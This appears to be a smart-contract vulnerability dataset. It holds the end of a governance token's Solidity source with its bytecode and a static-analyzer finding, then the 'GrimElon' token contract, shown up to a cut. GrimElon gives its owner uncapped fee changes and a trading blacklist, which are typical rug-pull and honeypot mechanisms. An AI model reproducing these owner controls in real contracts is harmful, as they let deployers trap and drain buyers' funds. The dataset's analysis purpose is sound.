function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Ply::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n <= type(uint32).max, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n <= type(uint96).max, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101b95760003560e01c8063775e9ce4116100f9578063cf09e0d011610097578063dd62ed3e11610071578063dd62ed3e146104a5578063e7a324dc146104e7578063f1127ed81461050e578063f39c38a01461057657600080fd5b8063cf09e0d014610476578063d38bfff41461047f578063d505accf1461049257600080fd5b806395d89b41116100d357806395d89b4114610401578063a9059cbb1461043d578063b4b5ea5714610450578063c3cda5201461046357600080fd5b8063775e9ce4146103a3578063782d6fe1146103b65780637ecebe00146103e157600080fd5b8063313ce567116101665780635c19a95c116101405780635c19a95c146103195780635d36b1901461032e5780636fcfff451461033657806370a082311461037157600080fd5b8063313ce567146102ab578063587cde1e146102c55780635aa6e6751461030657600080fd5b806320606b701161019757806320606b701461024a57806323b872dd1461027157806330adf81f1461028457600080fd5b806306fdde03146101be578063095ea7b31461021057806318160ddd14610233575b600080fd5b6101fa6040518060400160405280600e81526020017f4175726967616d6920546f6b656e00000000000000000000000000000000000081525081565b6040516102079190611e59565b60405180910390f35b61022361021e366004611eca565b610589565b6040519015158152602001610207565b61023c60035481565b604051908152602001610207565b61023c7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b61022361027f366004611ef4565b61064f565b61023c7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6102b3601281565b60405160ff9091168152602001610207565b6102ee6102d3366004611f30565b6006602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610207565b6000546102ee906001600160a01b031681565b61032c610327366004611f30565b610799565b005b61032c6107a6565b61035c610344366004611f30565b60086020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610207565b61023c61037f366004611f30565b6001600160a01b03166000908152600560205260409020546001600160601b031690565b61032c6103b1366004611f4b565b61087b565b6103c96103c4366004611eca565b610a6c565b6040516001600160601b039091168152602001610207565b61023c6103ef366004611f30565b60096020526000908152604090205481565b6101fa6040518060400160405280600381526020017f504c59000000000000000000000000000000000000000000000000000000000081525081565b61022361044b366004611eca565b610d0c565b6103c961045e366004611f30565b610d48565b61032c610471366004611f9f565b610dc7565b61023c60025481565b61032c61048d366004611f30565b61112c565b61032c6104a0366004611ff7565b6111f2565b61023c6104b3366004612061565b6001600160a01b0391821660009081526004602090815260408083209390941682529190915220546001600160601b031690565b61023c7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b61055261051c366004612094565b600760209081526000928352604080842090915290825290205463ffffffff81169064010000000090046001600160601b031682565b6040805163ffffffff90931683526001600160601b03909116602083015201610207565b6001546102ee906001600160a01b031681565b6000806000198314156105a457506001600160601b036105c9565b6105c68360405180606001604052806024815260200161220560249139611612565b90505b3360008181526004602090815260408083206001600160a01b0389168085529083529281902080546bffffffffffffffffffffffff19166001600160601b03871690811790915590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a360019150505b92915050565b6001600160a01b03831660009081526004602090815260408083203380855290835281842054825160608101909352602480845291936001600160601b039091169285926106a7928892919061220590830139611612565b9050866001600160a01b0316836001600160a01b0316141580156106d457506001600160601b0382811614155b156107815760006106fe83836040518060600160405280603c81526020016123a3603c9139611645565b6001600160a01b038981166000818152600460209081526040808320948a168084529482529182902080546bffffffffffffffffffffffff19166001600160601b0387169081179091559151918252939450919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505b61078c87878361168f565b5060019695505050505050565b6107a33382611969565b50565b6001546001600160a01b031633146108055760405162461bcd60e51b815260206004820152601060248201527f57726f6e6720676f7665726e616e63650000000000000000000000000000000060448201526064015b60405180910390fd5b60018054600080546001600160a01b0383167fffffffffffffffffffffffff000000000000000000000000000000000000000091821681179092559091169091556040519081527f7ce9f0b2f920547bdcee6a4c6760e8545ed1d90004643f66b4872bdba125ba499060200160405180910390a1565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260206004820152601860248201527f43616c6c6572206973206e6f7420676f7665726e616e6365000000000000000060448201526064016107fc565b6002546108e6906301e133806120f8565b42116109345760405162461bcd60e51b815260206004820152601460248201527f4d7573742062652061667465722031207965617200000000000000000000000060448201526064016107fc565b6001600160a01b03821660009081526005602090815260409182902054825160608101909352602b80845261097f936001600160601b03909216928592919061237890830139611a0b565b60056000846001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055506109ed6003548260405180606001604052806023815260200161235560239139611a0b565b6001600160601b03166003556001600160a01b03808316600090815260066020526040812054610a1e921683611a58565b6040516001600160601b03821681526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000438210610ae35760405162461bcd60e51b815260206004820152602660248201527f506c793a3a6765745072696f72566f7465733a206e6f7420796574206465746560448201527f726d696e6564000000000000000000000000000000000000000000000000000060648201526084016107fc565b6001600160a01b03831660009081526008602052604090205463ffffffff1680610b11576000915050610649565b6001600160a01b03841660009081526007602052604081208491610b36600185612110565b63ffffffff90811682526020820192909252604001600020541611610baa576001600160a01b038416600090815260076020526040812090610b79600184612110565b63ffffffff16815260208101919091526040016000205464010000000090046001600160601b031691506106499050565b6001600160a01b038416600090815260076020908152604080832083805290915290205463ffffffff16831015610be5576000915050610649565b600080610bf3600184612110565b90505b8163ffffffff168163ffffffff161115610cc65760006002610c188484612110565b610c229190612135565b610c2c9083612110565b6001600160a01b038816600090815260076020908152604080832063ffffffff8581168552908352928190208151808301909252549283168082526401000000009093046001600160601b031691810191909152919250871415610c9a576020015194506106499350505050565b805163ffffffff16871115610cb157819350610cbf565b610cbc600183612110565b92505b5050610bf6565b506001600160a01b038516600090815260076020908152604080832063ffffffff909416835292905220546001600160601b036401000000009091041691505092915050565b600080610d31836040518060600160405280602581526020016122fb60259139611612565b9050610d3e33858361168f565b5060019392505050565b6001600160a01b03811660009081526008602052604081205463ffffffff1680610d73576000610dc0565b6001600160a01b038316600090815260076020526040812090610d97600184612110565b63ffffffff16815260208101919091526040016000205464010000000090046001600160601b03165b9392505050565b604080518082018252600e81527f4175726967616d6920546f6b656e00000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fd124143b502bb80f6301883906fe154333e81a44ddfae9a08732bcae2c831cee81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08301526001600160a01b038a1660e08301526101008201899052610120808301899052845180840390910181526101408301909452835193909201929092207f19010000000000000000000000000000000000000000000000000000000000006101608401526101628301829052610182830181905290916000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015610f7a573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166110035760405162461bcd60e51b815260206004820152602560248201527f506c793a3a64656c656761746542795369673a20696e76616c6964207369676e60448201527f617475726500000000000000000000000000000000000000000000000000000060648201526084016107fc565b6001600160a01b03811660009081526009602052604081208054916110278361217f565b91905055891461109f5760405162461bcd60e51b815260206004820152602160248201527f506c793a3a64656c656761746542795369673a20696e76616c6964206e6f6e6360448201527f650000000000000000000000000000000000000000000000000000000000000060648201526084016107fc565b874211156111155760405162461bcd60e51b815260206004820152602560248201527f506c793a3a64656c656761746542795369673a207369676e617475726520657860448201527f706972656400000000000000000000000000000000000000000000000000000060648201526084016107fc565b61111f818b611969565b505050505b505050505050565b6000546001600160a01b031633146111865760405162461bcd60e51b815260206004820152601860248201527f43616c6c6572206973206e6f7420676f7665726e616e6365000000000000000060448201526064016107fc565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527fde4aabcd09171142d82dd9e667db43bf0dca12f30fa0aec30859875d35ecb5d69060200160405180910390a150565b600060001986141561120c57506001600160601b03611231565b61122e866040518060600160405280602381526020016122d860239139611612565b90505b604080518082018252600e81527f4175726967616d6920546f6b656e00000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fd124143b502bb80f6301883906fe154333e81a44ddfae9a08732bcae2c831cee81840152466060820152306080808301919091528351808303909101815260a090910183528051908201206001600160a01b038b166000908152600990925291812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9190866113248361217f565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e001604051602081830303815290604052805190602001209050600082826040516020016113be9291907f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff8b169284019290925260608301899052608083018890529092509060019060a0016020604051602081039080840390855afa158015611429573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661148c5760405162461bcd60e51b815260206004820152601e60248201527f506c793a3a7065726d69743a20696e76616c6964207369676e6174757265000060448201526064016107fc565b8b6001600160a01b0316816001600160a01b0316146114ed5760405162461bcd60e51b815260206004820152601960248201527f506c793a3a7065726d69743a20756e617574686f72697a65640000000000000060448201526064016107fc565b8842111561153d5760405162461bcd60e51b815260206004820152601e60248201527f506c793a3a7065726d69743a207369676e61747572652065787069726564000060448201526064016107fc565b84600460008e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516115fc91906001600160601b0391909116815260200190565b60405180910390a3505050505050505050505050565b6000816001600160601b0384111561163d5760405162461bcd60e51b81526004016107fc9190611e59565b509192915050565b6000836001600160601b0316836001600160601b03161115829061167c5760405162461bcd60e51b81526004016107fc9190611e59565b50611687838561219a565b949350505050565b6001600160a01b03831661170b5760405162461bcd60e51b815260206004820152603b60248201527f506c793a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160448201527f6e736665722066726f6d20746865207a65726f2061646472657373000000000060648201526084016107fc565b6001600160a01b0382166117875760405162461bcd60e51b815260206004820152603960248201527f506c793a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160448201527f6e7366657220746f20746865207a65726f20616464726573730000000000000060648201526084016107fc565b6001600160a01b0382163014156118065760405162461bcd60e51b815260206004820152603a60248201527f506c793a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160448201527f6e7366657220746f2074686520746f6b656e206164647265737300000000000060648201526084016107fc565b6001600160a01b038316600090815260056020908152604091829020548251606081019093526035808452611851936001600160601b03909216928592919061232090830139611645565b6001600160a01b03848116600090815260056020908152604080832080546bffffffffffffffffffffffff19166001600160601b0396871617905592861682529082902054825160608101909352602f8084526118be949190911692859290919061227690830139611a0b565b6001600160a01b0383811660008181526005602090815260409182902080546bffffffffffffffffffffffff19166001600160601b03968716179055905193851684529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36001600160a01b0380841660009081526006602052604080822054858416835291205461196492918216911683611a58565b505050565b6001600160a01b03808316600081815260066020818152604080842080546005845282862054949093528787167fffffffffffffffffffffffff000000000000000000000000000000000000000084168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4611a05828483611a58565b50505050565b600080611a1884866121ba565b9050846001600160601b0316816001600160601b031610158390611a4f5760405162461bcd60e51b81526004016107fc9190611e59565b50949350505050565b816001600160a01b0316836001600160a01b031614158015611a8357506000816001600160601b0316115b15611964576001600160a01b03831615611b49576001600160a01b03831660009081526008602052604081205463ffffffff169081611ac3576000611b10565b6001600160a01b038516600090815260076020526040812090611ae7600185612110565b63ffffffff16815260208101919091526040016000205464010000000090046001600160601b03165b90506000611b37828560405180606001604052806027815260200161224f60279139611645565b9050611b4586848484611c02565b5050505b6001600160a01b03821615611964576001600160a01b03821660009081526008602052604081205463ffffffff169081611b84576000611bd1565b6001600160a01b038416600090815260076020526040812090611ba8600185612110565b63ffffffff16815260208101919091526040016000205464010000000090046001600160601b03165b90506000611bf8828560405180606001604052806026815260200161222960269139611a0b565b9050611124858484845b6000611c26436040518060600160405280603381526020016122a560339139611e35565b905060008463ffffffff16118015611c8057506001600160a01b038516600090815260076020526040812063ffffffff831691611c64600188612110565b63ffffffff908116825260208201929092526040016000205416145b15611d04576001600160a01b03851660009081526007602052604081208391611caa600188612110565b63ffffffff168152602081019190915260400160002080546001600160601b0392909216640100000000027fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff909216919091179055611de0565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000908152600782528681208b8616825290915294909420925183549451909116640100000000027fffffffffffffffffffffffffffffffff00000000000000000000000000000000909416911617919091179055611d948460016121e5565b6001600160a01b038616600090815260086020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff929092169190911790555b604080516001600160601b038086168252841660208201526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b60008163ffffffff84111561163d5760405162461bcd60e51b81526004016107fc91905b600060208083528351808285015260005b81811015611e8657858101830151858201604001528201611e6a565b81811115611e98576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114611ec557600080fd5b919050565b60008060408385031215611edd57600080fd5b611ee683611eae565b946020939093013593505050565b600080600060608486031215611f0957600080fd5b611f1284611eae565b9250611f2060208501611eae565b9150604084013590509250925092565b600060208284031215611f4257600080fd5b610dc082611eae565b60008060408385031215611f5e57600080fd5b611f6783611eae565b915060208301356001600160601b0381168114611f8357600080fd5b809150509250929050565b803560ff81168114611ec557600080fd5b60008060008060008060c08789031215611fb857600080fd5b611fc187611eae565b95506020870135945060408701359350611fdd60608801611f8e565b92506080870135915060a087013590509295509295509295565b600080600080600080600060e0888a03121561201257600080fd5b61201b88611eae565b965061202960208901611eae565b9550604088013594506060880135935061204560808901611f8e565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561207457600080fd5b61207d83611eae565b915061208b60208401611eae565b90509250929050565b600080604083850312156120a757600080fd5b6120b083611eae565b9150602083013563ffffffff81168114611f8357600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000821982111561210b5761210b6120c9565b500190565b600063ffffffff8381169083168181101561212d5761212d6120c9565b039392505050565b600063ffffffff80841680612173577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b92169190910492915050565b6000600019821415612193576121936120c9565b5060010190565b60006001600160601b038381169083168181101561212d5761212d6120c9565b60006001600160601b038083168185168083038211156121dc576121dc6120c9565b01949350505050565b600063ffffffff8083168185168083038211156121dc576121dc6120c956fe506c793a3a617070726f76653a20616d6f756e7420657863656564732039362062697473506c793a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773506c793a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773506c793a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773506c793a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473506c793a3a7065726d69743a20616d6f756e7420657863656564732039362062697473506c793a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473506c793a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365506c793a6d696e74506c793a20746f74616c20737570706c79206f766572666c6f7773506c793a3a6d696e74506c793a206e6577206163636f756e742062616c616e6365206f766572666c6f7773506c793a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a2646970667358221220e781ef015064e63f6c67ce9e0e6df5b55b82150fd3d9b9bd26142dc3fd2bbeb364736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,874 |
0x6a8e37cfb75c1fdbec8f405f3030f2db03e70659 | /**
*Submitted for verification at Etherscan.io on 2022-01-27
*/
// https://t.me/GRIMELON
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GRIMELON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GrimElon";
string private constant _symbol = "GrimElon";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69696969690 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 6;
//Sell Fee
uint256 private _distroFeeOnSell = 2;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0xC821EED2aFfa0af83ACd7c99f56b4f2CbAb337C7);
address payable private _devAddress = payable(0xC821EED2aFfa0af83ACd7c99f56b4f2CbAb337C7);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 696969696 * 10**9;
uint256 public _maxWalletSize = 1000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(9).mul(8));
_devAddress.transfer(amount.div(9).mul(1));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function swap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function LimitBuy(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function MaxWallet(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
